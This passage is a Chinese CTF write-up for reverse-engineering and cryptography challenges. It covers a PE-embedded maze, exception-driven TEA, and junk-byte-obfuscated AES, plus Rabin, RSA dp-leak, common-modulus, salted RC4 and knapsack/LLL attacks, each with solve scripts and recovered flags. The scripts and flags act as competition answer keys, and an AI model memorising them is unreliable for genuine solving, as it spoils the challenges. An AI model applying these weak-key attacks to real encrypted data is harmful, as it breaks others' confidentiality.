f.seek(pe)
if f.read(4) != b'PEx00x00': return None
f.seek(pe + 6)
secs = struct.unpack('<H', f.read(2))[0]
f.seek(pe + 20)
optsz = struct.unpack('<H', f.read(2))[0]
f.seek(pe + 24 + optsz)
for _ in range(secs):
hdr = f.read(40)
vaddr = struct.unpack('<I', hdr[12:16])[0]
vsize = struct.unpack('<I', hdr[8:12])[0]
rptr = struct.unpack('<I', hdr[20:24])[0]
if vaddr <= rva < vaddr + vsize:
f.seek(rptr + (rva - vaddr))
return f.read(size)
return None
def solve():
exe = 'oi_feelings.exe'
dwords = struct.unpack('<3I', get_pe_data(exe, 0x29000, 12))
maze = struct.unpack('<1024I', get_pe_data(exe, 0x29010, 4096))
c0 = chr((dwords[0] ^ 9) & 0xFF)
c1 = chr((dwords[1] ^ 9) & 0xFF)
target = (dwords[2] ^ 9) & 0xFFFFFFFF
grid = [[(maze[i*32+j] ^ 0x123) & 0xFFFFFFFF for j in range(32)] for i in range(32)]
dp = [[{} for _ in range(32)] for _ in range(32)]
dp[0][0][grid[0][0]] = ""
for y in range(32):
for x in range(32):
if x == 0 and y == 0: continue
cur = dp[y][x]
if x > 0:
for s, p in dp[y][x-1].items():
cur[(s + grid[y][x]) & 0xFFFFFFFF] = p + c0
if y > 0:
for s, p in dp[y-1][x].items():
cur[(s + grid[y][x]) & 0xFFFFFFFF] = p + c1
flag = dp[31][31].get(target, "")
print(f"qsnctf{{{flag}}}")
if __name__ == '__main__':
solve()

qsnctf{21112122121122222221222221122111211111222112211112111222122111}
except_exper




看TlsCallback_0能看到明显的反调试逻辑。输入处理部分在sub_4017E0,程序把我们输入的flag挨个和102进行了异或操作。顺着往下看sub_401670,函数开头直接抛出了一个C++异常,这就导致下面紧跟的32轮TEA循环代码根本不会去执行,估计是出题人放在这的假的。

顺着异常处理机制找真实的控制流,sub_4015D0里注册了一个名叫Handler的VEH函数,里面有一段16轮的TEA变种加密逻辑,但是它结尾返回了0,意思是异常没处理完接着往下传。往下找到全局未处理异常过滤函数TopLevelExceptionFilter,发现里面又接力了加密逻辑。


因为异常流来回横跳,导致全局变量sum的值和实际跑的轮数在静态分析时极容易算错,所以直接提内存密文,利用已知明文头结合脚本爆破。跑出来证实底层真实跑了64轮,初始sum为0xcdf03780,照着状态直接写解密
exp.py
v4_signed = [114, 56, -44, -124, 112, 4, -109, 94, -76, -6, -99, 33, 59, -29, 110, -53, -105, 59, -95, -82, -59, 81, 128, 37, -72, 43, -39, 13, -41, -56, -20, 3, -25, 62, -39, -39, 57, -122, 26, 2, -76, 87, -109, -111, -46, -41, -7, -39]
v4_bytes = bytes([x & 0xFF for x in v4_signed])
DELTA = 322420958
flag = bytearray()
for i in range(0, 48, 8):
L = int.from_bytes(v4_bytes[i:i+4], 'little')
R = int.from_bytes(v4_bytes[i+4:i+8], 'little')
s = 0xcdf03780
for j in range(64):
R = (R - (((L >> 4) + 44) ^ (s + L) ^ ((L << 5) + 33))) & 0xFFFFFFFF
L = (L - (((R >> 4) + 22) ^ (s + R) ^ ((R << 5) + 11))) & 0xFFFFFFFF
s = (s - DELTA) & 0xFFFFFFFF
L ^= 0x66666666
R ^= 0x66666666
flag.extend(L.to_bytes(4, 'little'))
flag.extend(R.to_bytes(4, 'little'))
print(flag.decode('utf-8', 'ignore'))

qsnctf{Th3_w1Nd0wS_cPP_Exc3P710N_1S_s0oO_FuN!!!}
ez_re

加密在 0x4012A4 附近

看伪代码解析错误 塞了大量 cmp + jnb的跳转,紧接着跟上 FF FF这种垃圾字节,IDA 的反汇编顺着读下去直接就跑偏了
加密逻辑在 0x4012B3到 0x401F8C有花指令
看汇编垃圾字节右键打补丁全改成 90 就是nop 或者直接选择这个区间直接按C强制转换代码就行



密钥sierting_solarsec_qsnctf_chal_1

IV
0x424000 "sierting_solarsec_qsnctf_chal_1",直接从第 16 个字节处切开!
跳过前面的 sierting_solarse 后,从 0x424010 这个地址开始往后数 16 个字节,是: c_qsnctf_chal_1x00 (最后带一个隐形的字符串结尾标志 `x00`,凑齐 16 字节)
CBC模式的IV
解密
魔改点在于把列混淆矩阵的传参强行改成了 7, 2, 5, 1。
解密写个高斯消元,在有限域 GF(2^8) 下把这套魔改矩阵的逆矩阵算出来。替换掉标准AES的逆向列混淆矩阵,按AES-192解密跑完单块后,再跟前一块的密文(或IV)做异或,然后就行了。
exp.py
def gf_mul(a, b):
p = 0
for i in range(8):
if b & 1: p ^= a
a = (a << 1) ^ 0x11B if (a & 0x80) else (a << 1)
b >>= 1
return p & 0xFF
def gf_inv(a):
for i in range(1, 256):
if gf_mul(a, i) == 1: return i
return 0
def inv_mat(M):
n = len(M)
A = [row[:] + [1 if i == j else 0 for j in range(n)] for i, row in enumerate(M)]
for i in range(n):
if A[i][i] == 0:
for j in range(i+1, n):
if A[j][i] != 0:
A[i], A[j] = A[j], A[i]
break
inv_p = gf_inv(A[i][i])
for j in range(2*n):
A[i][j] = gf_mul(A[i][j], inv_p)
for j in range(n):
if i != j:
f = A[j][i]
for k in range(2*n):
A[j][k] ^= gf_mul(A[i][k], f)
return [row[n:] for row in A]
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16
]
INV_SBOX = [0]*256
for i in range(256): INV_SBOX[SBOX[i]] = i
RCON = [0x00,0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1B,0x36]
def expand_key(k):
w = [[k[i*4+j] for j in range(4)] for i in range(6)]
for i in range(6, 52):
t = w[-1][:]
if i % 6 == 0:
t = t[1:] + t[:1]
t = [SBOX[x] for x in t]
t[0] ^= RCON[i//6]
w.append([w[i-6][j] ^ t[j] for j in range(4)])
return w
def dec_block(c, w, inv_M):
s = [[c[j*4+i] for i in range(4)] for j in range(4)]
def add_key(r):
for j in range(4):
for i in range(4): s[j][i] ^= w[r*4+j][i]
add_key(12)
for i in range(4):
r = [s[j][i] for j in range(4)]
r = r[-i:] + r[:-i]
for j in range(4): s[j][i] = r[j]
for j in range(4):
for i in range(4): s[j][i] = INV_SBOX[s[j][i]]
for r in range(11, 0, -1):
add_key(r)
for j in range(4):
col = s[j]
ncol = [0]*4
for ri in range(4):
v = 0
for k in range(4):
v ^= gf_mul(inv_M[ri][k], col[k])
ncol[ri] = v
s[j] = ncol
for i in range(4):
row = [s[j][i] for j in range(4)]
row = row[-i:] + row[:-i]
for j in range(4): s[j][i] = row[j]
for j in range(4):
for i in range(4): s[j][i] = INV_SBOX[s[j][i]]
add_key(0)
res = []
for j in range(4):
for i in range(4): res.append(s[j][i])
return bytes(res)
c = [0x3A,0x23,0xFE,0x61,0xF3,0xE6,0x68,0xFA,0xCE,0x18,0x95,0x20,0x28,0x59,0x07,0x73,
0x91,0xCB,0xE7,0x00,0xCD,0x7E,0xCF,0x4D,0x28,0xD0,0xC4,0x99,0x81,0x9D,0xB4,0x95]
k = b"sierting_solarsec_qsnctf"
iv = b"c_qsnctf_chal_1x00"
w = expand_key(k)
M = [
[7, 2, 5, 1],
[2, 5, 1, 7],
[1, 7, 2, 5],
[5, 1, 7, 2]
]
inv_M = inv_mat(M)
pt = b""
prev_c = iv
for i in range(0, 32, 16):
block = bytes(c[i:i+16])
decrypted = dec_block(block, w, inv_M)
pt_block = bytes([decrypted[j] ^ prev_c[j] for j in range(16)])
pt += pt_block
prev_c = block
print(pt.decode('utf-8'))

qsnctf{EzAes_w1tH_O6fuSed_1NstS}
Crypto
Four Ways to the Truth

Four Ways to the Truth.txt
p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087
q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471
e = 2
c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961
思路
选取素数 p 和 q需满足模4余3),计算
n=pxq
明文 m加密
$$
c = m^2 bmod n
$$
原理: 解二次同余方程
$$
x^2 equiv c pmod n
$$
计算模 p和模 q的根:
$$
m_p = c^{(p+1)/4} bmod p,m_q = c^{(q+1)/4} bmod q
$$
求逆元
$$
y_p = p^{-1} bmod q,y_q = q^{-1} bmod p
$$
用中国剩余定理组合4个解:
$$
r_1 = (m_p cdot y_q cdot q + m_q cdot y_p cdot p) bmod n
$$
$$
r_2 = n – r_1
$$
$$
r_3 = (m_p cdot y_q cdot q – m_q cdot y_p cdot p) bmod n
$$
$$
r_4 = n – r_3
$$
r然后4个解转为字符,解码的即为明文
py3脚本
def jiami(m, p, q):
return pow(m, 2, p * q)
def jiemi(c, p, q):
n = p * q
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
yp = pow(p, -1, q)
yq = pow(q, -1, p)
r1 = (mp * yq * q + mq * yp * p) % n
r2 = n - r1
r3 = (mp * yq * q - mq * yp * p) % n
r4 = n - r3
for r in (r1, r2, r3, r4):
try:
print(r.to_bytes((r.bit_length() + 7) // 8, 'big').decode('utf-8'))
except:
pass
p = 7843924760949873188201496026705455073125667712660002135887161079633254312879905501204855425456884502003894146991780856880279808965014803584494444568674087
q = 1140962409915024811090299765305244489074219812060197521898407764373654976342197131381234656216901694745972908393258042324146363330463003052469652666554471
c = 170041716912112266353311555796224814539989621875376673120238246557647197956716037204849248165596484091026430610474184173388604052966204512334147210403868840531083264816571442641437961
jiemi(c, p, q)

flag{e76926fb679f90b8367463ad2b0c27f4}
Half a Key

Half a Key.txt
n = 15436586506265382785524723267926444275462583019354383194654618933970433830434544481689625981207606375978708092558218246652496848076710411132268953499043735379180887935756772262155008862710764094267410967565241203605386593697737434875910984139143271151900377372693190411504735649123965519189648830868758032067
e = 65537
dp = 379731142995118368195086502083726192650138136864805821111741080341262318450359112900427553070639257250091100401461103206486523535760843615494638091936809
c = 854977693463411460490582164652536883002498905251706308634386005958509682016980677282553767296915296737583796051269333809745316569004849097563723358017329758234680761174609149316747091398434695986939450351231497326579265836956690907677434464255178122585307742001203732956675315052213672484434073446872723134
题目给了 dp,突破口在
$$
e times dp equiv 1 pmod{p-1}这个公式上
$$
变换一下就是
$$
e times dp – 1 = k(p-1)
$$
意味着
$$
e times dp – 1
$$
肯定是 p-1 的倍数
因为
$$
dp < p-1
$$
可得
推导出倍数 k < e。题里的 e 是 65537,非常小,直接循环穷举 k 的值就能反推算出 p。
算出 p 后判断 n 能不能被它整除,能整除就算找对了,顺手除一下拿到 q。后面就是最基础的 RSA 流程,求欧拉函数、求私钥 d 还原明文。
exp.py
n = 15436586506265382785524723267926444275462583019354383194654618933970433830434544481689625981207606375978708092558218246652496848076710411132268953499043735379180887935756772262155008862710764094267410967565241203605386593697737434875910984139143271151900377372693190411504735649123965519189648830868758032067
e = 65537
dp = 379731142995118368195086502083726192650138136864805821111741080341262318450359112900427553070639257250091100401461103206486523535760843615494638091936809
c = 854977693463411460490582164652536883002498905251706308634386005958509682016980677282553767296915296737583796051269333809745316569004849097563723358017329758234680761174609149316747091398434695986939450351231497326579265836956690907677434464255178122585307742001203732956675315052213672484434073446872723134
for k in range(1, e):
if (e * dp - 1) % k == 0:
p = (e * dp - 1) // k + 1
if n % p == 0:
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(m.to_bytes((m.bit_length() + 7) // 8, 'big').decode('utf-8'))
break

flag{136c40e7a4d7ec032f28cd63ed090781}
0x42F


最开始我以为是emojisAES呢还有xor给你密钥,解密呢,结果是特定网站解,666
根据题目提示和描述,找网站
最后是这个网站:Txtmoji | Encrypt Text to Emojis

密码是数字 那么将题目名字十六进制改成十进制就行:0x42F–>1071

qsnctf{W31C0M3_70_3M0J!}
NO ASCII

Quoted解码
flag{=E9=9D=92=E5=B0=91=E5=B9=B4CTF=E6=AC=A2=E8=BF=8E=E4=BD=A0}

flag{青少年CTF欢迎你}
字符串的秘密

Sara, yoh vikk amjure on un axciting bohrnay of kaurning ujoht cyjarlachrity. Va suda prapuraz u comprasanlida kaurning puts for yoh, gruzhukky ansuncing yohr lachrity cupujikitial from julic enovkazga to uzduncaz leikkl. For axumpka: MwehM3f1WL8mUQIME0UFBE0=
单表替换密码rot13然后在base64就行
通过分析词频和上下文(如 cyjarlachrity 显然单词是 cybersecurity),我们可以推导出替换表。
密文:Sara, yoh vikk amjure on un axciting bohrnay of kaurning ujoht cyjarlachrity. Va suda prapuraz u comprasanlida kaurning puts for yoh, gruzhukky ansuncing yohr lachrity cupujikitial from julic enovkazga to uzduncaz leikkl. For axumpka:
明文:Here, you will embark on an exciting journey of learning about cybersecurity. We have prepared a comprehensive learning path for you, gradually enhancing your security capabilities from basic knowledge to advanced skills. For example:
替换规则(密文字母 -> 明文字母)
a -> e
b -> j
d -> v
e -> k
h -> u
j -> b
k -> l
l -> s
s -> h
u -> a
v -> w
w -> z (根据字母替换的闭环推导得出)
z -> d
其他字母(如 c, f, g, i, m, n, o, p, q, r, t, x, y 等)保持不变。
原字符串是:
MwehM3f1WL8mUQIME0UFBE0=
替换后的字符串
MzkuM3f1ZS8mAQIMK0AFJK0=


flag{50_345Y_CRY}
easy RSA

已知一段加密信息为:0x5f6ea1f38716c33d60,且已知加密所用的公钥:(N=4382400036133367223779 e = 23),请解密出明文,提交时请将数字转化成 ASCII 码提交,比如你解出的明文是 0x6162,请提交字符串 flag{ab}。
变种RSA
N只有22位数字,数值极小,直接拿去暴力分解。
分解后发现N不是常规的两个不同素数相乘,而是存在平方项,实际结构为
N = p^2 * q
具体分解出 p = 13574881,q = 23781539

加密是标准RSA加密,明文的e次方对N取模得出密文c。
解密
欧拉函数的替换,因为
N = p^2 * q,欧拉函数phi不能再用(p-1)*(q-1)改成 p * (p-1) * (q-1)。
算出正确的phi后,求e的乘法逆元拿到私钥d。直接用密文c的d次方对N取模算出明文数字,最后转成字节解码包上flag格式即可。
py3代码
from Crypto.Util.number import long_to_bytes
n = 4382400036133367223779
e = 23
c = 0x5f6ea1f38716c33d60
p = 13574881
q = 23781539
phi = p * (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
print(f"flag{{{long_to_bytes(m).decode()}}}")

flag{flag}
big e

chall.py
from Crypto.Util.number import bytes_to_long, getPrime
flag = b"qsnctf{}"
pt = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e_1 = getPrime(16)
e_2 = getPrime(16)
ct_1 = pow(pt, e_1, n)
ct_2 = pow(pt, e_2, n)
print("ct_1 = ", ct_1)
print("ct_2 = ", ct_2)
print("e_1 = ", e_1)
print("e_2 = ", e_2)
print("n = ", n)
# ct_1 = 5649565335684829166994703709424227526893862676464227714220335589276704152604924324114025311155729514770870986954236504564704555535527067819510001985630888010489410355084498786686405391985307787813163409887408873131599860500818287249474949435981248525429437566989511739623645812030127508754237307712031275069780710099525638162980612740682033778940586593666680892993610688520294640884980062959079158405843270214715267881440440339150600253703915746065480485251932360881192748881417272231086499695809894156350146444967947730629173024309214554705882003920254677073584631736742572109190599880801473561959319027076441953445
# ct_2 = 18057738004521442202581208706347939725140669900210781627129228864852861993001064574996038998190758020094241377866589024516040225406530219251533264723200285643625227689027372929065070061403841600339743979018711778484342112384547861311017571072207706363341501151970830224052331515660939863240931224477883263629549854691715424922845010950429159326308647808310970838674468530257927010981568201656330319135247562919603753523391148946139453657084433473736518140826834607288043167145971704069967785291825113657089124890698730576640845997643271760048177660480776933178966895624625446578014520381072642845438343988815282525599
# e_1 = 38393
# e_2 = 33179
# n = 20041933763448357190627850343717972264528582967835527546142957190548605428270610029367862231281895787713359644234851479710776535385541439755032309687483077090218979985453754364407030590831392946785171723586209911295724249654470575605442111447225710502302358942926274605617178895040432859429896967144420329616663507781993472314294836911728767905434642257924102824396656593460442406211312774327070056184991640489525243074951726793316964397447506279491375765341749074988401265888189321863750941333198393830420513963816131832584076574157616777287739971033307821046386250151071559472869001815834079430740105662029229636911
RSA 共模攻击
加密
同一段明文被同一个模数n加密了两次,只是每次用的公钥指数不同,分别是e_1和e_2,从而生成了两个密文ct_1和ct_2。
解密逻辑:
e_1和e_2是互质的,最大公约数为1。利用扩展欧几里得算法能算出两个系数s和t,满足e_1 * s + e_2 * t = 1。
拿到系数直接拿密文,然后计算(ct_1^s * ct_2^t) mod n,底层的指数相加刚好凑成1,算出来的直接就是明文。
里面肯定有个系数是负数,把那个负数对应的密文求个模逆元,指数翻正照样乘就行了。
exp.py
from Crypto.Util.number import long_to_bytes
def egcd(a, b):
if a == 0:
return b, 0, 1
else:
g, y, x = egcd(b % a, a)
return g, x - (b // a) * y, y
n = 20041933763448357190627850343717972264528582967835527546142957190548605428270610029367862231281895787713359644234851479710776535385541439755032309687483077090218979985453754364407030590831392946785171723586209911295724249654470575605442111447225710502302358942926274605617178895040432859429896967144420329616663507781993472314294836911728767905434642257924102824396656593460442406211312774327070056184991640489525243074951726793316964397447506279491375765341749074988401265888189321863750941333198393830420513963816131832584076574157616777287739971033307821046386250151071559472869001815834079430740105662029229636911
e_1 = 38393
e_2 = 33179
ct_1 = 5649565335684829166994703709424227526893862676464227714220335589276704152604924324114025311155729514770870986954236504564704555535527067819510001985630888010489410355084498786686405391985307787813163409887408873131599860500818287249474949435981248525429437566989511739623645812030127508754237307712031275069780710099525638162980612740682033778940586593666680892993610688520294640884980062959079158405843270214715267881440440339150600253703915746065480485251932360881192748881417272231086499695809894156350146444967947730629173024309214554705882003920254677073584631736742572109190599880801473561959319027076441953445
ct_2 = 18057738004521442202581208706347939725140669900210781627129228864852861993001064574996038998190758020094241377866589024516040225406530219251533264723200285643625227689027372929065070061403841600339743979018711778484342112384547861311017571072207706363341501151970830224052331515660939863240931224477883263629549854691715424922845010950429159326308647808310970838674468530257927010981568201656330319135247562919603753523391148946139453657084433473736518140826834607288043167145971704069967785291825113657089124890698730576640845997643271760048177660480776933178966895624625446578014520381072642845438343988815282525599
_, s, t = egcd(e_1, e_2)
if s < 0:
s = -s
ct_1 = pow(ct_1, -1, n)
if t < 0:
t = -t
ct_2 = pow(ct_2, -1, n)
m = (pow(ct_1, s, n) * pow(ct_2, t, n)) % n
print(long_to_bytes(m).decode())

qsnctf{ba1073db090b3090c111339b0a7ffce5}
easy RC4

什么RC4?
9PKjvafI0SxgbC87AIDyADcmoBX6rdk9VD2UpHo=
Key:qsnctf2026
加密原理:
这个题目用一种带盐(Salt)的 RC4 变种加密。加密时,系统会先生成 16 字节的随机盐,将其与提供的原始密钥拼接并进行 SHA1 哈希,计算出真正的 RC4 密钥。随后,用该派生密钥对明文进行标准 RC4 加密,最后将 16字节Salt + 密文 拼接在一起,进行 Base64 编码后输出。
解密
对 Base64 密文进行解码,得到原始字节流。
截取前 16 字节作为 Salt,剩余部分为真正的 RC4 密文。
计算 SHA1(原始密钥 + Salt),恢复出真正的 RC4 密钥。
将真实的密文与恢复出的密钥输入标准 RC4 算法进行异或解密,即可得到 flag。
exp.py
import base64
from hashlib import sha1
def rc4(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = 0
j = 0
res = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
res.append(byte ^ K)
return bytes(res)
def solve():
b64_cipher = "9PKjvafI0SxgbC87AIDyADcmoBX6rdk9VD2UpHo="
key = "qsnctf2026"
raw = base64.b64decode(b64_cipher)
salt = raw[:16]
cipher = raw[16:]
real_key = sha1(key.encode('utf-8') + salt).digest()
flag = rc4(cipher, real_key)
print(flag.decode('utf-8'))
if __name__ == "__main__":
solve()

flag{e12ax8u}
Knapsack

enc.py
from Crypto.Util import number
from Crypto import Random
FLAG = b"flag{XXXXXX}"
def generate_keys(bit_len):
rand = Random.new().read
upper = 1 << (2 * bit_len + 4)
sk = [number.getRandomRange(1, upper, rand)]
for _ in range(1, bit_len):
sk.append(number.getRandomRange(sum(sk) + 1, upper, rand))
upper <<= 2
N = number.getRandomRange(sk[-1] + 1, 2 * sk[-1], rand)
mask = number.getRandomRange(N // 4, 3 * N // 4, rand)
while number.GCD(mask, N) != 1:
mask = number.getRandomRange(1, N, rand)
pk = [s * mask % N for s in sk]
return sk, pk, N, mask
def encrypt(bitstring, pk):
return sum(int(bitstring[i]) * pk[i] for i in range(len(pk)))
def main():
# flag -> bitstring
bitstring = bin(int(FLAG.hex(), 16))[2:]
if len(bitstring) % 8 != 0:
bitstring = '0' * (8 - len(bitstring) % 8) + bitstring
sk, pk, N, mask = generate_keys(len(bitstring))
enc = encrypt(bitstring, pk)
# ===== 输出给选手的内容 =====
print("===== Public Key (pk) =====")
print(pk)
print("n===== Ciphertext (enc) =====")
print(enc)
# ===== 出题人自留(调试用,正式出题请删掉)=====
# print("n[DEBUG]")
# print("sk =", sk)
# print("N =", N)
# print("mask =", mask)
if __name__ == "__main__":
main()
加密过程
加密算法首先生成了一个超递增序列作为私钥,然后利用随机生成的模数 N 和乘数 mask将其转化为伪随机的公钥序列 pk。最终的密文 enc 是明文二进制位与公钥序列元素的线性组合,本质上是一个子集和问题
解密过程
由于直接求解子集和问题是 NP 难的,但这里的密度较低,可以直接构造格,并利用 LLL 算法求最短向量来恢复明文位序列。
exp.py
import ast
from Crypto.Util.number import long_to_bytes
with open('pk.txt', 'r') as f:
pk = ast.literal_eval(f.read().strip())
with open('enc.txt', 'r') as f:
enc = int(f.read().strip())
n = len(pk)
K = 2**256
M = Matrix(ZZ, n + 1, n + 1)
for i in range(n):
M[i, i] = 2
M[i, n] = pk[i] * K
M[n, i] = -1
M[n, n] = -enc * K
reduced_M = M.LLL()
for row in reduced_M:
if row[-1] == 0:
is_valid = True
for i in range(n):
if abs(row[i]) != 1:
is_valid = False
break
if is_valid:
bits_option1 = [1 if row[i] == 1 else 0 for i in range(n)]
bits_option2 = [1 if row[i] == -1 else 0 for i in range(n)]
if sum(bits_option1[i] * pk[i] for i in range(n)) == enc:
bits = bits_option1
elif sum(bits_option2[i] * pk[i] for i in range(n)) == enc:
bits = bits_option2
else:
continue
bit_str = ''.join(map(str, bits))
flag = long_to_bytes(int(bit_str, 2))
print(flag.decode('utf-8', errors='ignore'))
break

flag{345Y_CRYP70}
总结
题目挺有意思的。









